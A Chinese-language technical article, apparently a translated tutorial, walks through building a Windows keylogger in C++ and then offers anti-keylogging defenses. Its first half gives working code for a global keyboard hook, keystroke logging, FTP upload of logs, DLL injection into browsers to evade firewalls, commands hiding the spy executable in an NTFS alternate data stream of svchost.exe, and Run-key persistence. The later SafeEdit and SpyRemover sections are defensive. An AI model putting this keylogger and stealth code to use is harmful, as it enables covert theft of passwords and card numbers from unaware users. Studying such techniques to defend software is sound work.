本文將詳細討論一個鍵盤監視器的C++/C#開發過程并針對反窺探提出了一些建議。希望讀者理解基于鉤子技術的窺探軟件的工作原理以更好地針對自己的軟件加以保護。
背景
基于軟件的鍵盤事件記錄器是一個嚴重的安全威脅,因為它們通過捕獲擊鍵操作來監控用戶的行動。監控器可以用于一些惡意的行為諸如盜竊信用卡號碼等。例如,鍵擊記錄器就是Trojans病毒的一個基本組成部分,它們在后臺安靜地運行伺機捕獲用戶的擊鍵操作。擊鍵事件被保存在經過良好隱藏的文件中通過電子郵件或者FTP方式發送給窺探者。
一、鍵盤監視器的設計
下面是一個簡單的,直接使用鉤子技術實現的例子。
鍵盤監視器體系結構
鍵盤監視器由三個模塊組成:主模塊,鉤子過程和FTP模塊。主模塊負責安裝一個全局鉤子過程。該鉤子的任務是把每次按鍵事件向主模塊匯報,由主模塊把所有的擊鍵保存到一個文件中。當記錄文件達到預定的大小時,主模塊命令FTP模塊把記錄文件上載給一個FTP服務器。三個模塊間的通訊是通過Windows消息機制實現的。
![]() |
主模塊Window過程代碼如下:
/////////////////////////////////////////////////////////////////// // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // 目的:處理主窗口中的消息 // MSG_MY_WM_KEYDOWN - 處理應用程序鍵擊 // MSG_MY_WM_SETFOCUS - 處理應用程序鍵擊 // MSG_WM_UPLOAD_FILE - 處理一個FTP模塊通知 // WM_DESTROY - 寄送一個退出消息并返回 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { if (message == MSG_MY_WM_KEYDOWN) return OnInterceptKeyStroke(wParam, lParam); if (message == MSG_MY_WM_SETFOCUS) return OnSetKeyboardFocus(wParam, lParam); if (message == MSG_WM_UPLOAD_FILE) return OnFileUploaded(wParam, lParam); switch (message) { case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } /////////////////////////////////////////////////////////////////// LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam) { //如果我們在登錄一個新的應用程序,應該打印一個適當的頭 if (g_hWinInFocus != g_hLastWin) { WriteNewAppHeader(g_hWinInFocus); g_hLastWin = g_hWinInFocus; } if (wParam==VK_RETURN || wParam==VK_TAB) { WriteToLog(’\n’); } else { BYTE keyStateArr[256]; WORD word; UINT scanCode = lParam; char ch; //把虛擬鍵代碼轉換成ascii碼 GetKeyboardState(keyStateArr); ToAscii(wParam, scanCode, keyStateArr, &word, 0); ch = (char) word; if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’) ch += ’A’-’a’; WriteToLog(ch); } return 0; } /////////////////////////////////////////////////////////////////// LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam) { g_hWinInFocus = (HWND)wParam; return S_OK; } /////////////////////////////////////////////////////////////////// LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam) { //記錄上載成功 if (wParam) { DeleteFile(g_sSpyLogFileName2); } else { char temp[255]; FILE* f1=fopen(g_sSpyLogFileName,"rt"); FILE* f2=fopen(g_sSpyLogFileName2,"at"); while (!feof(f1)) { if (fgets(temp, 255, f1)) { fputs(temp, f2); } } fclose(f1); fclose(f2); MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName); } g_isUploading = false; return S_OK; } |
全局WH_CBT鉤子
一個系統范圍的鉤子實際上是一個函數,它安裝在當前運行的所有進程中,在被監視消息到達目標window過程之前予以監控。鉤子過程用于監控系統中的各種類型的事件-例如擊鍵等等。可以通過調用Win32 API函數SetWindowsHookEx來安裝一個鉤子過程并指定調用該過程的鉤子類型。一個WH_CBT鉤子過程在窗口取得焦點并在擊鍵事件從系統消息隊列被清除之前調用。所有桌面應用程序都在自己的上下文中調用一個全局的鉤子過程,所以該鉤子過程必須駐留在一個獨立于應用程序的DLL中來安裝鉤子過程。
DLL共享內存區域
一段DLL共享內存區域實際上是一個所有的DLL實例都可以看到的內存變量。主模塊把它的窗口句柄保存在鉤子DLL的共享內存區域中-該DLL使所有的鉤子過程實例能夠把窗口消息郵寄回主模塊中。
鉤子過程共享內存區域并輸出函數:
/////////////////////////////////////////////////////////////////// //共享的內存 #pragma data_seg(".adshared") HWND g_hSpyWin = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:.adshared,RWS") /////////////////////////////////////////////////////////////////// void CALLBACK SetSpyHwnd (DWORD hwnd) { g_hSpyWin = (HWND) hwnd; } /////////////////////////////////////////////////////////////////// LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam ) { if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam==VK_TAB) ||(wParam>=0x2f ) &&(wParam<=0x100)) { ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam); } } else if (nCode == HCBT_SETFOCUS) { ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam); if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL) { HINSTANCE hFtpDll; Init InitFunc; if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME)) { if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init")) { (InitFunc)((DWORD)g_hSpyWin); } } bInjectFtpDll = false; } } return CallNextHookEx( 0, nCode, wParam, lParam); } |
函數的主模塊代碼如下:
typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam); typedef void (WINAPI *SetSpyHwnd)(DWORD); HMODULE g_hHookDll = NULL; HHOOK g_hHook = NULL; bool InstallHook(HWND hwnd) { SetSpyHwnd SetHwndFunc; HookProc HookProcFunc; if (g_hHookDll = LoadLibrary(SPY_DLL_NAME)) { if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd")) { //把主模塊的HWND存儲在共享存儲區段 (SetHwndFunc)((DWORD)hwnd); if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc")) { if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0)) return true; } } } return false; } |
盜竊
一個間諜程序為了防止自己被探測到必須隱藏好自己的蹤跡。它們主要涉及三個技術區域:文件系統,任務管理器,防火墻。
任務管理器盜竊
ADS(Alternate Data Streams)是一項NTFS文件系統特性,它能使你把文件數據送于存在的文件中而不影響它們的功能,大小或者資源管理器等瀏覽工具的對它們的顯示。帶有ADS的文件用本地文件瀏覽技術幾乎是不可能檢測到的。 一旦文件被注入該項特性,ADS即可被諸如傳統的命令如type等執行。在激活時,ADS執行體以原始文件的方式出現并運行:你可以用Windows資源管理器等進程觀察器來試驗。使用這種技術后,不僅可能隱藏一個文件,而且可能隱藏一個非法進程的執行體部分。事實上,如果安裝了NTFS系統,你是不可能本地式探測出以ADS方式隱藏的文件的。ADS特性不能夠被取消(disabled),目前為止還沒有辦法來針對用戶已經對其具有存取權限的文件限制這種特性。示例程序為了簡明之目地沒有使用ADS。
你可以用下例方式手工操作ADS。
Inject spy.exe to svchost.exe "type spy.exe > c:\windows\system32\svchost.exe:spy.exe" Run spy.exe "start svchost.exe:spy.exe" |
防火墻盜竊
大多數的防火墻軟件都能探測和阻攔不經授權的程序接入因特網。主模塊通過使用FTP模塊把記錄文件上載到一個FTP服務器。防火墻通過把FTP模塊DLL注入到另外一個已經安裝的應用程序中來實現盜竊。DLL注入意味著強制一個不能被掛起的進程必須接受一個自己從來沒有要求的DLL文件。示例中,我選擇把FTP模塊注入或者Internet Explorer或者FireFox。DLL注入將會越過大多數防火墻軟件的檢測,特別在FTP服務器在探聽80端口時。鉤子過程DLL(它由函數SetWindowsHookEx自動加載進入所有正運行進程)檢查是被裝入到Internet Explorer還是FireFox并加載(用LoadLibrary)了FTP模塊DLL。從DllMain中調用LoadLibrary函數是不允許的,因此DllMain設置了一個布爾變量來讓鉤子過程調用LoadLibrary庫函數。
下面是模塊DllMain中的鉤子過程:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char processName[255]; GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) ); strcpy(processName, _strlwr(processName)); if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe")) bInjectFtpDll = true; break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } |
啟動
把監視程序加入到下列注冊表鍵處將使得它能夠在系統啟動時被一起激發:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. |
示例程序把spy.exe作為一項新注冊表值加入。
二、鍵盤監視的防范
在這一節中,我將介紹兩種簡單的技術來幫助你的應用程序反擊基于鉤子技術的鍵盤監視程序。
具有防范監視功能的密碼編輯控件
![]() |
免于監視的編輯控件將針對每次用戶擊鍵生成一個模擬的隨機鍵擊串。監視程序將截獲用戶的擊鍵和偽擊鍵,這樣以來使它很難或者不可能檢索實際的輸入的文本。用戶輸入被存儲于一個成員變量中-應用程序可以容易地通過編輯控件存取該變量的值。本例中的偽鍵擊是通過調用Win32 API SendInput來實現的。下面這實現了兩個控件-一個MFC版本,一個.NET版本。
該編輯安全的控件假定函數SendInput生成鍵擊的速度快于用戶擊鍵的速度。這可能導致編輯安全的控件在較慢的機器上返回錯誤的用戶數據,特別是在運行C#實現版本時。
VC++ MFC版本的CsafeEdit類:
void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags) { if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU) return; if (nChar == VK_DELETE || nChar == VK_BACK) { SetWindowText(""); m_sRealText = ""; return; } if (m_state == 0) { m_iDummyKeyStrokesCount = SendDummyKeyStrokes(); m_state = 1; CString text; GetWindowText(text); m_sRealText += text.Right(1); } else { if (m_state++ >= m_iDummyKeyStrokesCount) m_state = 0; } CEdit::OnKeyUp(nChar, nRepCnt, nFlags); } /////////////////////////////////////////////////////////////////// CString CSafeEdit::GetRealText() { return m_sRealText; } /////////////////////////////////////////////////////////////////// int CSafeEdit::SendDummyKeyStrokes() { srand((unsigned)::GetTickCount()); int iKeyStrokeCount = rand() % 5 + 1; int key; INPUT inp[2]; inp[0].type = INPUT_KEYBOARD; inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo(); inp[0].ki.dwFlags = 0; inp[0].ki.time = 0; for (int i=0; i < iKeyStrokeCount; i++) { key = rand() % (’Z’-’A’) + ’A’; inp[0].ki.wScan = key; inp[0].ki.wVk = key; inp[1] = inp[0]; inp[1].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(2, inp, sizeof(INPUT)); } return iKeyStrokeCount; } |
用C#實現的SafeEdit類:
public struct KEYDBINPUT { public Int16 wVk; public Int16 wScan; public Int32 dwFlags; public Int32 time; public Int32 dwExtraInfo; public Int32 __filler1; public Int32 __filler2; } public struct INPUT { public Int32 type; public KEYDBINPUT ki; } [DllImport("user32")] public static extern int SendInput( int cInputs, ref INPUT pInputs, int cbSize ); protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e) { if (e.KeyData == Keys.ShiftKey || e.KeyData == Keys.ControlKey || e.KeyData == Keys.Alt) return; if (e.KeyData == Keys.Delete || e.KeyData == Keys.Back) { Text = ""; m_sRealText = ""; return; } if (m_state == 0) { m_iDummyKeyStrokesCount = SendDummyKeyStrokes(); m_state = 1; m_sRealText += Text[Text.Length-1]; } else { if (m_state++ >= m_iDummyKeyStrokesCount) m_state = 0; } } public int SendDummyKeyStrokes() { short key; Random rand = new Random(); int iKeyStrokeCount = rand.Next(1, 6); INPUT inputDown = new INPUT(); inputDown.type = INPUT_KEYBOARD; inputDown.ki.dwFlags = 0; INPUT inputUp = new INPUT(); inputUp.type = INPUT_KEYBOARD; inputUp.ki.dwFlags = KEYEVENTF_KEYUP; for (int i=0; i < iKeyStrokeCount; i++) { key = (short) rand.Next(’A’, ’Z’); inputDown.ki.wVk = key; SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) ); inputUp.ki.wVk = key; SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) ); } return iKeyStrokeCount; } |
SpyRemover類
![]() |
基于鉤子技術的監視程序依賴于它們的鉤子過程DLL。將鉤子DLL從應用程序進程中移去將使注入該應用程序的窺探程序失去窺探鍵擊的功能。示例程序使用類SpyRemover來移去鉤子DLL文件。SpyRemover構造器接收一個"授權模塊"的列表。如果一個模塊只是裝入到一個應用程序中但是沒有出現在該列表中被認為是沒有授權的。SpyRemover通過枚舉所有的應用程序進程模塊來探測未經授權的模塊。
VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg, unsigned int idEvent, DWORD dwTime) { m_SpyRemover->EnumModules(); } ////////////////////////////////////////////////////////////////// SpyRemover::SpyRemover(char* szAuthorizedList) { m_SpyRemover = this; m_szAuthorizedList = " "; m_szAuthorizedList += szAuthorizedList; m_szAuthorizedList += " "; m_szAuthorizedList.MakeLower(); ::SetTimer(NULL, 0, 500, TimerProc); } /////////////////////////////////////////////////////////////////// void SpyRemover::EnumModules() { DWORD dwPID = ::GetCurrentProcessId(); HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; //取得當前進程所有模塊的一個快照 hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID ); if( hModuleSnap == INVALID_HANDLE_VALUE ) return; me32.dwSize = sizeof( MODULEENTRY32 ); //檢索關于第一個模塊(application.exe)的信息 if( !Module32First( hModuleSnap, &me32 ) ) { CloseHandle( hModuleSnap ); return; } //遍歷當前進程的模塊列表 do { if (!IsModuleAuthorized(me32.szModule)) { HMODULE hmodule = me32.hModule; CloseHandle(hModuleSnap); FreeLibrary(hmodule); return; } while( Module32Next( hModuleSnap, &me32 ) ); CloseHandle(hModuleSnap); } /////////////////////////////////////////////////////////////////// bool SpyRemover::IsModuleAuthorized(char* szModuleName) { char szModule[1024]; sprintf(szModule, " %s ", szModuleName); strcpy(szModule, _strlwr(szModule)); if (strstr(m_szAuthorizedList, szModule)) return true; else return false; } |
小結
本文以軟件保護為背景,詳細討論了一個鍵盤監視器的開發并針對反監視提出了一些建議。希望讀者理解基于鉤子技術的窺探軟件的工作原理以更好地針對自己的軟件加以保護。另外,本文所附代碼在Windows 2000/.NET 2003環境下調試通過。